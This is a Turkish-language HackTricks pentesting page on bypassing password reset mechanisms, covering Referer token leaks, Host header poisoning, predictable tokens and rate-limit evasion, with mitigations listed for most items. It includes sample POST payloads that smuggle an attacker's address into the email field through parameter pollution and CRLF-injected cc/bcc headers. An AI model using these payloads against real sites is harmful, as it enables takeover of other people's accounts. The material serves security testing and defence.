hacktricks/pentesting-web/reset-password.md

229 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Şifre Sıfırlama/Unutulan Şifre Bypass
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking İçgörüleri**\
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
**Son Duyurular**\
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
## **Referans Üzerinden Şifre Sıfırlama Tokeni Sızıntısı**
* HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
* **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
* **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin.** Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** kontrol edin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
* **Referanslar**:
* [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
* [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
* [Şifre Sıfırlama Tokeni Sızıntısı Makalesi](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Şifre Sıfırlama Zehirleme**
* Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
* **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirme.
* **Hafifletme Adımları**:
* Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
* Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
* **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
* **Referanslar**:
* [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
* Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin.
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Saldırgan e-posta adresini ikinci parametre olarak %20 kullanarak ekleyin
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Saldırgan e-posta adresini ikinci parametre olarak bcc kullanarak ekleyin
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Saldırgan e-posta adresini ikinci parametre olarak ekleyin,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Saldırgan e-posta adresini json dizisinde ikinci parametre olarak ekleyin
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
* **Mitigation Steps**:
* E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın.
* Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın.
* **References**:
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **API Parametreleri ile Herhangi Bir Kullanıcının E-posta ve Şifresini Değiştirme**
* Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve şifre parametrelerini değiştirebilir.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
* **Azaltma Adımları**:
* Katı parametre doğrulama ve kimlik doğrulama kontrolleri sağlamak.
* Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulamak.
* **Referans**:
* [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Hız Sınırlandırması Yok: E-posta Bombardımanı**
* Şifre sıfırlama taleplerinde hız sınırlaması olmaması, kullanıcıyı sıfırlama e-postalarıyla bunaltabilir.
* **Azaltma Adımları**:
* IP adresine veya kullanıcı hesabına dayalı hız sınırlaması uygulamak.
* Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanmak.
* **Referanslar**:
* [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma**
* Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
* Zaman Damgasına Dayalı
* Kullanıcı Kimliğine Dayalı
* Kullanıcının E-posta Adresine Dayalı
* Ad ve Soyadına Dayalı
* Doğum Tarihine Dayalı
* Kriptografi Temelli
* **Azaltma Adımları**:
* Token üretimi için güçlü, kriptografik yöntemler kullanmak.
* Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlamak.
* **Araçlar**: Token'ların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
## **Tahmin Edilebilir UUID**
* UUID'ler (versiyon 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
{% content-ref url="uuid-insecurities.md" %}
[uuid-insecurities.md](uuid-insecurities.md)
{% endcontent-ref %}
* **Azaltma Adımları**:
* Rastgelelik için GUID versiyon 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
* **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştirme**
* Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
* **Azaltma Adımları**:
* Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulamak.
* Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanmak.
* **Referans**:
* [Canlı Hata Avı Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Süresi Dolmuş Token Kullanma**
* Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
* **Azaltma Adımları**:
* Katı token süresi dolma politikaları uygulamak ve token süresini sunucu tarafında doğrulamak.
## **Brute Force Şifre Sıfırlama Token'ı**
* IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi.
* **Azaltma Adımları**:
* Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulamak.
* Brute-force saldırılarını gösteren şüpheli etkinlikleri izlemek.
## **Token'ınızı Kullanmayı Deneyin**
* Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
* **Azaltma Adımları**:
* Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
* Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
* **Azaltma Adımları**:
* Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulamak.
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
* Sıfırlama token'larının geçersiz hale gelmeden önce bir son kullanma süresi olmalıdır.
* **Azaltma Adımları**:
* Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında katı bir şekilde uygulayın.
## Referanslar
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve hata avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking İçgörüleri**\
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
**Son Duyurular**\
Yeni başlayan hata ödülleri ve kritik platform güncellemeleri hakkında bilgi sahibi olun
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}